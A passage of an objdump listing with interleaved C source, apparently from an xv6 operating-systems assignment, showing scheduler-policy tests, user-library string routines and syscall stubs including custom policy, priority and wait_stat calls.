688: 90 nop
689: 90 nop
68a: 90 nop
68b: 90 nop
68c: 90 nop
68d: 90 nop
68e: 90 nop
68f: 90 nop
00000690 <test_extended_priority_policy>:
boolean test_extended_priority_policy() {
690: 55 push %ebp
691: 89 e5 mov %esp,%ebp
693: 83 ec 38 sub $0x38,%esp
policy(EXTENED_PRIORITY);
696: c7 04 24 03 00 00 00 movl $0x3,(%esp)
int priority_mod = 10;
69d: c7 45 f4 0a 00 00 00 movl $0xa,-0xc(%ebp)
policy(EXTENED_PRIORITY);
6a4: e8 a7 05 00 00 call c50 <policy>
boolean result = test_policy_helper(&priority_mod, EXTENED_PRIORITY);
6a9: b8 03 00 00 00 mov $0x3,%eax
6ae: 89 44 24 04 mov %eax,0x4(%esp)
6b2: 8d 45 f4 lea -0xc(%ebp),%eax
6b5: 89 04 24 mov %eax,(%esp)
6b8: e8 43 fe ff ff call 500 <test_policy_helper>
policy(ROUND_ROBIN);
6bd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
boolean result = test_policy_helper(&priority_mod, EXTENED_PRIORITY);
6c4: 89 45 e4 mov %eax,-0x1c(%ebp)
policy(ROUND_ROBIN);
6c7: e8 84 05 00 00 call c50 <policy>
}
6cc: 8b 45 e4 mov -0x1c(%ebp),%eax
6cf: c9 leave
6d0: c3 ret
6d1: eb 0d jmp 6e0 <test_performance_helper>
6d3: 90 nop
6d4: 90 nop
6d5: 90 nop
6d6: 90 nop
6d7: 90 nop
6d8: 90 nop
6d9: 90 nop
6da: 90 nop
6db: 90 nop
6dc: 90 nop
6dd: 90 nop
6de: 90 nop
6df: 90 nop
000006e0 <test_performance_helper>:
boolean test_performance_helper(int *npriority) {
6e0: 55 push %ebp
6e1: 89 e5 mov %esp,%ebp
6e3: 57 push %edi
6e4: 56 push %esi
6e5: 53 push %ebx
6e6: 83 ec 3c sub $0x3c,%esp
pid1 = fork();
6e9: e8 b2 04 00 00 call ba0 <fork>
if (pid1 > 0) {
6ee: 85 c0 test %eax,%eax
6f0: 7f 3e jg 730 <test_performance_helper+0x50>
6f2: bb 64 00 00 00 mov $0x64,%ebx
wait_stat(&status, &perf1);
6f7: 8d 7d d4 lea -0x2c(%ebp),%edi
6fa: 8d 75 d0 lea -0x30(%ebp),%esi
6fd: 8d 76 00 lea 0x0(%esi),%esi
pid = fork();
700: e8 9b 04 00 00 call ba0 <fork>
if (pid > 0) {
705: 85 c0 test %eax,%eax
707: 7e 4e jle 757 <test_performance_helper+0x77>
sleep(5);
709: c7 04 24 05 00 00 00 movl $0x5,(%esp)
710: e8 23 05 00 00 call c38 <sleep>
wait_stat(&status, &perf1);
715: 89 7c 24 04 mov %edi,0x4(%esp)
719: 89 34 24 mov %esi,(%esp)
71c: e8 3f 05 00 00 call c60 <wait_stat>
for (int a = 0; a < 100; ++a) {
721: 4b dec %ebx
722: 75 dc jne 700 <test_performance_helper+0x20>
exit(0);
724: c7 04 24 00 00 00 00 movl $0x0,(%esp)
72b: e8 78 04 00 00 call ba8 <exit>
wait_stat(&status1, &perf2);
730: 8d 5d d4 lea -0x2c(%ebp),%ebx
733: 8d 45 d0 lea -0x30(%ebp),%eax
736: 89 5c 24 04 mov %ebx,0x4(%esp)
73a: 89 04 24 mov %eax,(%esp)
73d: e8 1e 05 00 00 call c60 <wait_stat>
print_perf(&perf2);
742: 89 1c 24 mov %ebx,(%esp)
745: e8 16 fc ff ff call 360 <print_perf>
}
74a: 83 c4 3c add $0x3c,%esp
74d: b8 01 00 00 00 mov $0x1,%eax
752: 5b pop %ebx
753: 5e pop %esi
754: 5f pop %edi
755: 5d pop %ebp
756: c3 ret
if (npriority)
757: 8b 45 08 mov 0x8(%ebp),%eax
75a: 85 c0 test %eax,%eax
75c: 74 0d je 76b <test_performance_helper+0x8b>
priority(*npriority);
75e: 8b 45 08 mov 0x8(%ebp),%eax
761: 8b 00 mov (%eax),%eax
763: 89 04 24 mov %eax,(%esp)
766: e8 ed 04 00 00 call c58 <priority>
sleep(5);
76b: c7 04 24 05 00 00 00 movl $0x5,(%esp)
772: e8 c1 04 00 00 call c38 <sleep>
exit(0);
777: c7 04 24 00 00 00 00 movl $0x0,(%esp)
77e: e8 25 04 00 00 call ba8 <exit>
783: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
789: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000790 <test_performance_round_robin>:
boolean test_performance_round_robin() {
790: 55 push %ebp
791: 89 e5 mov %esp,%ebp
793: 83 ec 18 sub $0x18,%esp
return test_performance_helper(null);
796: c7 04 24 00 00 00 00 movl $0x0,(%esp)
79d: e8 3e ff ff ff call 6e0 <test_performance_helper>
}
7a2: c9 leave
7a3: c3 ret
7a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
7aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000007b0 <test_performance_priority>:
boolean test_performance_priority() {
7b0: 55 push %ebp
7b1: 89 e5 mov %esp,%ebp
7b3: 83 ec 38 sub $0x38,%esp
policy(PRIORITY);
7b6: c7 04 24 02 00 00 00 movl $0x2,(%esp)
7bd: e8 8e 04 00 00 call c50 <policy>
boolean result = test_performance_helper(&npriority);
7c2: 8d 45 f4 lea -0xc(%ebp),%eax
7c5: 89 04 24 mov %eax,(%esp)
int npriority = 2;
7c8: c7 45 f4 02 00 00 00 movl $0x2,-0xc(%ebp)
boolean result = test_performance_helper(&npriority);
7cf: e8 0c ff ff ff call 6e0 <test_performance_helper>
policy(ROUND_ROBIN);
7d4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
boolean result = test_performance_helper(&npriority);
7db: 89 45 e4 mov %eax,-0x1c(%ebp)
policy(ROUND_ROBIN);
7de: e8 6d 04 00 00 call c50 <policy>
}
7e3: 8b 45 e4 mov -0x1c(%ebp),%eax
7e6: c9 leave
7e7: c3 ret
7e8: 90 nop
7e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000007f0 <test_performance_extended_priority>:
boolean test_performance_extended_priority() {
7f0: 55 push %ebp
7f1: 89 e5 mov %esp,%ebp
7f3: 83 ec 38 sub $0x38,%esp
policy(EXTENED_PRIORITY);
7f6: c7 04 24 03 00 00 00 movl $0x3,(%esp)
7fd: e8 4e 04 00 00 call c50 <policy>
boolean result = test_performance_helper(&npriority);
802: 8d 45 f4 lea -0xc(%ebp),%eax
805: 89 04 24 mov %eax,(%esp)
int npriority = 0;
808: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
boolean result = test_performance_helper(&npriority);
80f: e8 cc fe ff ff call 6e0 <test_performance_helper>
policy(ROUND_ROBIN);
814: c7 04 24 01 00 00 00 movl $0x1,(%esp)
boolean result = test_performance_helper(&npriority);
81b: 89 45 e4 mov %eax,-0x1c(%ebp)
policy(ROUND_ROBIN);
81e: e8 2d 04 00 00 call c50 <policy>
}
823: 8b 45 e4 mov -0x1c(%ebp),%eax
826: c9 leave
827: c3 ret
828: 90 nop
829: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000830 <test_starvation_helper>:
boolean test_starvation_helper(int npolicy, int npriority) {
830: 55 push %ebp
831: 89 e5 mov %esp,%ebp
833: 57 push %edi
834: 56 push %esi
memset(&pid_arr, 0, nProcs * sizeof(int));
835: 31 f6 xor %esi,%esi
boolean test_starvation_helper(int npolicy, int npriority) {
837: 53 push %ebx
memset(&pid_arr, 0, nProcs * sizeof(int));
838: bb 28 00 00 00 mov $0x28,%ebx
boolean test_starvation_helper(int npolicy, int npriority) {
83d: 83 ec 5c sub $0x5c,%esp
policy(npolicy);
840: 8b 45 08 mov 0x8(%ebp),%eax
843: 89 04 24 mov %eax,(%esp)
846: e8 05 04 00 00 call c50 <policy>
memset(&pid_arr, 0, nProcs * sizeof(int));
84b: 89 5c 24 08 mov %ebx,0x8(%esp)
84f: 8d 5d c0 lea -0x40(%ebp),%ebx
852: 89 74 24 04 mov %esi,0x4(%esp)
856: 89 df mov %ebx,%edi
858: 89 1c 24 mov %ebx,(%esp)
85b: 8d 75 e8 lea -0x18(%ebp),%esi
85e: e8 ad 01 00 00 call a10 <memset>
863: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
pid = fork();
870: e8 2b 03 00 00 call ba0 <fork>
if (pid < 0) {
875: 85 c0 test %eax,%eax
877: 78 0f js 888 <test_starvation_helper+0x58>
} else if (pid == 0) {
879: 0f 84 a1 00 00 00 je 920 <test_starvation_helper+0xf0>
pid_arr[i] = pid;
87f: 89 07 mov %eax,(%edi)
881: 83 c7 04 add $0x4,%edi
for (int i = 0; i < nProcs; ++i) {
884: 39 f7 cmp %esi,%edi
886: 75 e8 jne 870 <test_starvation_helper+0x40>
sleep(100);
888: c7 04 24 64 00 00 00 movl $0x64,(%esp)
boolean result = true;
88f: bf 01 00 00 00 mov $0x1,%edi
sleep(100);
894: e8 9f 03 00 00 call c38 <sleep>
899: eb 18 jmp 8b3 <test_starvation_helper+0x83>
89b: 90 nop
89c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
wait(null);
8a0: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8a7: e8 04 03 00 00 call bb0 <wait>
8ac: 83 c3 04 add $0x4,%ebx
for (int j = 0; j < nProcs; ++j) {
8af: 39 de cmp %ebx,%esi
8b1: 74 4d je 900 <test_starvation_helper+0xd0>
if (pid_arr[j] != 0) {
8b3: 8b 03 mov (%ebx),%eax
8b5: 85 c0 test %eax,%eax
8b7: 74 f3 je 8ac <test_starvation_helper+0x7c>
result = result && assert_equals(0, kill(pid_arr[j]), "failed to kill child (yes it does sound horrible)");
8b9: 85 ff test %edi,%edi
8bb: 74 e3 je 8a0 <test_starvation_helper+0x70>
8bd: 89 04 24 mov %eax,(%esp)
8c0: bf 01 00 00 00 mov $0x1,%edi
8c5: e8 0e 03 00 00 call bd8 <kill>
if (expected != actual) {
8ca: 85 c0 test %eax,%eax
8cc: 74 d2 je 8a0 <test_starvation_helper+0x70>
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
8ce: 89 44 24 10 mov %eax,0x10(%esp)
8d2: ba 64 12 00 00 mov $0x1264,%edx
8d7: 31 c0 xor %eax,%eax
8d9: b9 b8 11 00 00 mov $0x11b8,%ecx
result = result && assert_equals(0, kill(pid_arr[j]), "failed to kill child (yes it does sound horrible)");
8de: 31 ff xor %edi,%edi
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
8e0: 89 44 24 0c mov %eax,0xc(%esp)
8e4: 89 54 24 08 mov %edx,0x8(%esp)
8e8: 89 4c 24 04 mov %ecx,0x4(%esp)
8ec: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8f3: e8 18 04 00 00 call d10 <printf>
8f8: eb a6 jmp 8a0 <test_starvation_helper+0x70>
8fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
policy(ROUND_ROBIN);
900: c7 04 24 01 00 00 00 movl $0x1,(%esp)
907: e8 44 03 00 00 call c50 <policy>
}
90c: 83 c4 5c add $0x5c,%esp
90f: 89 f8 mov %edi,%eax
911: 5b pop %ebx
912: 5e pop %esi
913: 5f pop %edi
914: 5d pop %ebp
915: c3 ret
916: 8d 76 00 lea 0x0(%esi),%esi
919: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
sleep(5);
920: c7 04 24 05 00 00 00 movl $0x5,(%esp)
927: e8 0c 03 00 00 call c38 <sleep>
priority(npriority);
92c: 8b 45 0c mov 0xc(%ebp),%eax
92f: 89 04 24 mov %eax,(%esp)
932: e8 21 03 00 00 call c58 <priority>
937: eb fe jmp 937 <test_starvation_helper+0x107>
939: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000940 <test_accumulator>:
boolean test_accumulator() {
940: 55 push %ebp
return test_starvation_helper(PRIORITY, 2);
941: b8 02 00 00 00 mov $0x2,%eax
boolean test_accumulator() {
946: 89 e5 mov %esp,%ebp
948: 83 ec 18 sub $0x18,%esp
return test_starvation_helper(PRIORITY, 2);
94b: 89 44 24 04 mov %eax,0x4(%esp)
94f: c7 04 24 02 00 00 00 movl $0x2,(%esp)
956: e8 d5 fe ff ff call 830 <test_starvation_helper>
}
95b: c9 leave
95c: c3 ret
95d: 8d 76 00 lea 0x0(%esi),%esi
00000960 <test_starvation>:
boolean test_starvation() {
960: 55 push %ebp
return test_starvation_helper(EXTENED_PRIORITY, 0);
961: 31 c0 xor %eax,%eax
boolean test_starvation() {
963: 89 e5 mov %esp,%ebp
965: 83 ec 18 sub $0x18,%esp
return test_starvation_helper(EXTENED_PRIORITY, 0);
968: 89 44 24 04 mov %eax,0x4(%esp)
96c: c7 04 24 03 00 00 00 movl $0x3,(%esp)
973: e8 b8 fe ff ff call 830 <test_starvation_helper>
}
978: c9 leave
979: c3 ret
97a: 66 90 xchg %ax,%ax
97c: 66 90 xchg %ax,%ax
97e: 66 90 xchg %ax,%ax
00000980 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
980: 55 push %ebp
981: 89 e5 mov %esp,%ebp
983: 8b 45 08 mov 0x8(%ebp),%eax
986: 8b 4d 0c mov 0xc(%ebp),%ecx
989: 53 push %ebx
char *os;
os = s;
while((*s++ = *t++) != 0)
98a: 89 c2 mov %eax,%edx
98c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
990: 41 inc %ecx
991: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
995: 42 inc %edx
996: 84 db test %bl,%bl
998: 88 5a ff mov %bl,-0x1(%edx)
99b: 75 f3 jne 990 <strcpy+0x10>
;
return os;
}
99d: 5b pop %ebx
99e: 5d pop %ebp
99f: c3 ret
000009a0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
9a0: 55 push %ebp
9a1: 89 e5 mov %esp,%ebp
9a3: 8b 4d 08 mov 0x8(%ebp),%ecx
9a6: 53 push %ebx
9a7: 8b 5d 0c mov 0xc(%ebp),%ebx
while(*p && *p == *q)
9aa: 0f b6 01 movzbl (%ecx),%eax
9ad: 0f b6 13 movzbl (%ebx),%edx
9b0: 84 c0 test %al,%al
9b2: 75 18 jne 9cc <strcmp+0x2c>
9b4: eb 22 jmp 9d8 <strcmp+0x38>
9b6: 8d 76 00 lea 0x0(%esi),%esi
9b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
9c0: 41 inc %ecx
while(*p && *p == *q)
9c1: 0f b6 01 movzbl (%ecx),%eax
p++, q++;
9c4: 43 inc %ebx
9c5: 0f b6 13 movzbl (%ebx),%edx
while(*p && *p == *q)
9c8: 84 c0 test %al,%al
9ca: 74 0c je 9d8 <strcmp+0x38>
9cc: 38 d0 cmp %dl,%al
9ce: 74 f0 je 9c0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
}
9d0: 5b pop %ebx
return (uchar)*p - (uchar)*q;
9d1: 29 d0 sub %edx,%eax
}
9d3: 5d pop %ebp
9d4: c3 ret
9d5: 8d 76 00 lea 0x0(%esi),%esi
9d8: 5b pop %ebx
9d9: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
9db: 29 d0 sub %edx,%eax
}
9dd: 5d pop %ebp
9de: c3 ret
9df: 90 nop
000009e0 <strlen>:
uint
strlen(const char *s)
{
9e0: 55 push %ebp
9e1: 89 e5 mov %esp,%ebp
9e3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
9e6: 80 39 00 cmpb $0x0,(%ecx)
9e9: 74 15 je a00 <strlen+0x20>
9eb: 31 d2 xor %edx,%edx
9ed: 8d 76 00 lea 0x0(%esi),%esi
9f0: 42 inc %edx
9f1: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
9f5: 89 d0 mov %edx,%eax
9f7: 75 f7 jne 9f0 <strlen+0x10>
;
return n;
}
9f9: 5d pop %ebp
9fa: c3 ret
9fb: 90 nop
9fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(n = 0; s[n]; n++)
a00: 31 c0 xor %eax,%eax
}
a02: 5d pop %ebp
a03: c3 ret
a04: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
a0a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000a10 <memset>:
void*
memset(void *dst, int c, uint n)
{
a10: 55 push %ebp
a11: 89 e5 mov %esp,%ebp
a13: 8b 55 08 mov 0x8(%ebp),%edx
a16: 57 push %edi
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
a17: 8b 4d 10 mov 0x10(%ebp),%ecx
a1a: 8b 45 0c mov 0xc(%ebp),%eax
a1d: 89 d7 mov %edx,%edi
a1f: fc cld
a20: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
a22: 5f pop %edi
a23: 89 d0 mov %edx,%eax
a25: 5d pop %ebp
a26: c3 ret
a27: 89 f6 mov %esi,%esi
a29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000a30 <strchr>:
char*
strchr(const char *s, char c)
{
a30: 55 push %ebp
a31: 89 e5 mov %esp,%ebp
a33: 8b 45 08 mov 0x8(%ebp),%eax
a36: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
a3a: 0f b6 10 movzbl (%eax),%edx
a3d: 84 d2 test %dl,%dl
a3f: 74 1b je a5c <strchr+0x2c>
if(*s == c)
a41: 38 d1 cmp %dl,%cl
a43: 75 0f jne a54 <strchr+0x24>
a45: eb 17 jmp a5e <strchr+0x2e>
a47: 89 f6 mov %esi,%esi
a49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
a50: 38 ca cmp %cl,%dl
a52: 74 0a je a5e <strchr+0x2e>
for(; *s; s++)
a54: 40 inc %eax
a55: 0f b6 10 movzbl (%eax),%edx
a58: 84 d2 test %dl,%dl
a5a: 75 f4 jne a50 <strchr+0x20>
return (char*)s;
return 0;
a5c: 31 c0 xor %eax,%eax
}
a5e: 5d pop %ebp
a5f: c3 ret
00000a60 <gets>:
char*
gets(char *buf, int max)
{
a60: 55 push %ebp
a61: 89 e5 mov %esp,%ebp
a63: 57 push %edi
a64: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
a65: 31 f6 xor %esi,%esi
{
a67: 53 push %ebx
a68: 83 ec 3c sub $0x3c,%esp
a6b: 8b 5d 08 mov 0x8(%ebp),%ebx
cc = read(0, &c, 1);
a6e: 8d 7d e7 lea -0x19(%ebp),%edi
for(i=0; i+1 < max; ){
a71: eb 32 jmp aa5 <gets+0x45>
a73: 90 nop
a74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
cc = read(0, &c, 1);
a78: ba 01 00 00 00 mov $0x1,%edx
a7d: 89 54 24 08 mov %edx,0x8(%esp)
a81: 89 7c 24 04 mov %edi,0x4(%esp)
a85: c7 04 24 00 00 00 00 movl $0x0,(%esp)
a8c: e8 2f 01 00 00 call bc0 <read>
if(cc < 1)
a91: 85 c0 test %eax,%eax
a93: 7e 19 jle aae <gets+0x4e>
break;
buf[i++] = c;
a95: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
a99: 43 inc %ebx
a9a: 88 43 ff mov %al,-0x1(%ebx)
if(c == '\n' || c == '\r')
a9d: 3c 0a cmp $0xa,%al
a9f: 74 1f je ac0 <gets+0x60>
aa1: 3c 0d cmp $0xd,%al
aa3: 74 1b je ac0 <gets+0x60>
for(i=0; i+1 < max; ){
aa5: 46 inc %esi
aa6: 3b 75 0c cmp 0xc(%ebp),%esi
aa9: 89 5d d4 mov %ebx,-0x2c(%ebp)
aac: 7c ca jl a78 <gets+0x18>
break;
}
buf[i] = '\0';
aae: 8b 45 d4 mov -0x2c(%ebp),%eax
ab1: c6 00 00 movb $0x0,(%eax)
return buf;
}
ab4: 8b 45 08 mov 0x8(%ebp),%eax
ab7: 83 c4 3c add $0x3c,%esp
aba: 5b pop %ebx
abb: 5e pop %esi
abc: 5f pop %edi
abd: 5d pop %ebp
abe: c3 ret
abf: 90 nop
ac0: 8b 45 08 mov 0x8(%ebp),%eax
ac3: 01 c6 add %eax,%esi
ac5: 89 75 d4 mov %esi,-0x2c(%ebp)
ac8: eb e4 jmp aae <gets+0x4e>
aca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000ad0 <stat>:
int
stat(const char *n, struct stat *st)
{
ad0: 55 push %ebp
int fd;
int r;
fd = open(n, O_RDONLY);
ad1: 31 c0 xor %eax,%eax
{
ad3: 89 e5 mov %esp,%ebp
ad5: 83 ec 18 sub $0x18,%esp
fd = open(n, O_RDONLY);
ad8: 89 44 24 04 mov %eax,0x4(%esp)
adc: 8b 45 08 mov 0x8(%ebp),%eax
{
adf: 89 5d f8 mov %ebx,-0x8(%ebp)
ae2: 89 75 fc mov %esi,-0x4(%ebp)
fd = open(n, O_RDONLY);
ae5: 89 04 24 mov %eax,(%esp)
ae8: e8 fb 00 00 00 call be8 <open>
if(fd < 0)
aed: 85 c0 test %eax,%eax
aef: 78 2f js b20 <stat+0x50>
af1: 89 c3 mov %eax,%ebx
return -1;
r = fstat(fd, st);
af3: 8b 45 0c mov 0xc(%ebp),%eax
af6: 89 1c 24 mov %ebx,(%esp)
af9: 89 44 24 04 mov %eax,0x4(%esp)
afd: e8 fe 00 00 00 call c00 <fstat>
close(fd);
b02: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
b05: 89 c6 mov %eax,%esi
close(fd);
b07: e8 c4 00 00 00 call bd0 <close>
return r;
}
b0c: 89 f0 mov %esi,%eax
b0e: 8b 5d f8 mov -0x8(%ebp),%ebx
b11: 8b 75 fc mov -0x4(%ebp),%esi
b14: 89 ec mov %ebp,%esp
b16: 5d pop %ebp
b17: c3 ret
b18: 90 nop
b19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
b20: be ff ff ff ff mov $0xffffffff,%esi
b25: eb e5 jmp b0c <stat+0x3c>
b27: 89 f6 mov %esi,%esi
b29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000b30 <atoi>:
int
atoi(const char *s)
{
b30: 55 push %ebp
b31: 89 e5 mov %esp,%ebp
b33: 8b 4d 08 mov 0x8(%ebp),%ecx
b36: 53 push %ebx
int n;
n = 0;
while('0' <= *s && *s <= '9')
b37: 0f be 11 movsbl (%ecx),%edx
b3a: 88 d0 mov %dl,%al
b3c: 2c 30 sub $0x30,%al
b3e: 3c 09 cmp $0x9,%al
n = 0;
b40: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
b45: 77 1e ja b65 <atoi+0x35>
b47: 89 f6 mov %esi,%esi
b49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
b50: 41 inc %ecx
b51: 8d 04 80 lea (%eax,%eax,4),%eax
b54: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
b58: 0f be 11 movsbl (%ecx),%edx
b5b: 88 d3 mov %dl,%bl
b5d: 80 eb 30 sub $0x30,%bl
b60: 80 fb 09 cmp $0x9,%bl
b63: 76 eb jbe b50 <atoi+0x20>
return n;
}
b65: 5b pop %ebx
b66: 5d pop %ebp
b67: c3 ret
b68: 90 nop
b69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000b70 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
b70: 55 push %ebp
b71: 89 e5 mov %esp,%ebp
b73: 56 push %esi
b74: 8b 45 08 mov 0x8(%ebp),%eax
b77: 53 push %ebx
b78: 8b 5d 10 mov 0x10(%ebp),%ebx
b7b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
b7e: 85 db test %ebx,%ebx
b80: 7e 1a jle b9c <memmove+0x2c>
b82: 31 d2 xor %edx,%edx
b84: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
b8a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
*dst++ = *src++;
b90: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
b94: 88 0c 10 mov %cl,(%eax,%edx,1)
b97: 42 inc %edx
while(n-- > 0)
b98: 39 d3 cmp %edx,%ebx
b9a: 75 f4 jne b90 <memmove+0x20>
return vdst;
}
b9c: 5b pop %ebx
b9d: 5e pop %esi
b9e: 5d pop %ebp
b9f: c3 ret
00000ba0 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
ba0: b8 01 00 00 00 mov $0x1,%eax
ba5: cd 40 int $0x40
ba7: c3 ret
00000ba8 <exit>:
SYSCALL(exit)
ba8: b8 02 00 00 00 mov $0x2,%eax
bad: cd 40 int $0x40
baf: c3 ret
00000bb0 <wait>:
SYSCALL(wait)
bb0: b8 03 00 00 00 mov $0x3,%eax
bb5: cd 40 int $0x40
bb7: c3 ret
00000bb8 <pipe>:
SYSCALL(pipe)
bb8: b8 04 00 00 00 mov $0x4,%eax
bbd: cd 40 int $0x40
bbf: c3 ret
00000bc0 <read>:
SYSCALL(read)
bc0: b8 05 00 00 00 mov $0x5,%eax
bc5: cd 40 int $0x40
bc7: c3 ret
00000bc8 <write>:
SYSCALL(write)
bc8: b8 10 00 00 00 mov $0x10,%eax
bcd: cd 40 int $0x40
bcf: c3 ret
00000bd0 <close>:
SYSCALL(close)
bd0: b8 15 00 00 00 mov $0x15,%eax
bd5: cd 40 int $0x40
bd7: c3 ret
00000bd8 <kill>:
SYSCALL(kill)
bd8: b8 06 00 00 00 mov $0x6,%eax
bdd: cd 40 int $0x40
bdf: c3 ret
00000be0 <exec>:
SYSCALL(exec)
be0: b8 07 00 00 00 mov $0x7,%eax
be5: cd 40 int $0x40
be7: c3 ret
00000be8 <open>:
SYSCALL(open)
be8: b8 0f 00 00 00 mov $0xf,%eax
bed: cd 40 int $0x40
bef: c3 ret
00000bf0 <mknod>:
SYSCALL(mknod)
bf0: b8 11 00 00 00 mov $0x11,%eax
bf5: cd 40 int $0x40
bf7: c3 ret
00000bf8 <unlink>:
SYSCALL(unlink)
bf8: b8 12 00 00 00 mov $0x12,%eax
bfd: cd 40 int $0x40
bff: c3 ret
00000c00 <fstat>:
SYSCALL(fstat)
c00: b8 08 00 00 00 mov $0x8,%eax
c05: cd 40 int $0x40
c07: c3 ret
00000c08 <link>:
SYSCALL(link)
c08: b8 13 00 00 00 mov $0x13,%eax
c0d: cd 40 int $0x40
c0f: c3 ret
00000c10 <mkdir>:
SYSCALL(mkdir)
c10: b8 14 00 00 00 mov $0x14,%eax
c15: cd 40 int $0x40
c17: c3 ret
00000c18 <chdir>:
SYSCALL(chdir)
c18: b8 09 00 00 00 mov $0x9,%eax
c1d: cd 40 int $0x40
c1f: c3 ret
00000c20 <dup>:
SYSCALL(dup)
c20: b8 0a 00 00 00 mov $0xa,%eax
c25: cd 40 int $0x40
c27: c3 ret
00000c28 <getpid>:
SYSCALL(getpid)
c28: b8 0b 00 00 00 mov $0xb,%eax
c2d: cd 40 int $0x40
c2f: c3 ret
00000c30 <sbrk>:
SYSCALL(sbrk)
c30: b8 0c 00 00 00 mov $0xc,%eax
c35: cd 40 int $0x40
c37: c3 ret
00000c38 <sleep>:
SYSCALL(sleep)
c38: b8 0d 00 00 00 mov $0xd,%eax
c3d: cd 40 int $0x40
c3f: c3 ret
00000c40 <uptime>:
SYSCALL(uptime)
c40: b8 0e 00 00 00 mov $0xe,%eax
c45: cd 40 int $0x40
c47: c3 ret
00000c48 <detach>:
SYSCALL(detach)
c48: b8 16 00 00 00 mov $0x16,%eax
c4d: cd 40 int $0x40
c4f: c3 ret
00000c50 <policy>:
SYSCALL(policy)
c50: b8 17 00 00 00 mov $0x17,%eax
c55: cd 40 int $0x40
c57: c3 ret
00000c58 <priority>:
SYSCALL(priority)
c58: b8 18 00 00 00 mov $0x18,%eax
c5d: cd 40 int $0x40
c5f: c3 ret
00000c60 <wait_stat>:
SYSCALL(wait_stat)
c60: b8 19 00 00 00 mov $0x19,%eax
c65: cd 40 int $0x40
c67: c3 ret
c68: 66 90 xchg %ax,%ax
c6a: 66 90 xchg %ax,%ax
c6c: 66 90 xchg %ax,%ax
c6e: 66 90 xchg %ax,%ax
00000c70 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
c70: 55 push %ebp
c71: 89 e5 mov %esp,%ebp
c73: 57 push %edi
c74: 56 push %esi
c75: 53 push %ebx
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
c76: 89 d3 mov %edx,%ebx
c78: c1 eb 1f shr $0x1f,%ebx
{
c7b: 83 ec 4c sub $0x4c,%esp
if(sgn && xx < 0){
c7e: 84 db test %bl,%bl
{
c80: 89 45 c0 mov %eax,-0x40(%ebp)
c83: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
c85: 74 79 je d00 <printint+0x90>
c87: f6 45 08 01 testb $0x1,0x8(%ebp)
c8b: 74 73 je d00 <printint+0x90>
neg = 1;
x = -xx;
c8d: f7 d8 neg %eax
neg = 1;
c8f: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
c96: 31 f6 xor %esi,%esi
c98: 8d 5d d7 lea -0x29(%ebp),%ebx
c9b: eb 05 jmp ca2 <printint+0x32>
c9d: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
ca0: 89 fe mov %edi,%esi
ca2: 31 d2 xor %edx,%edx
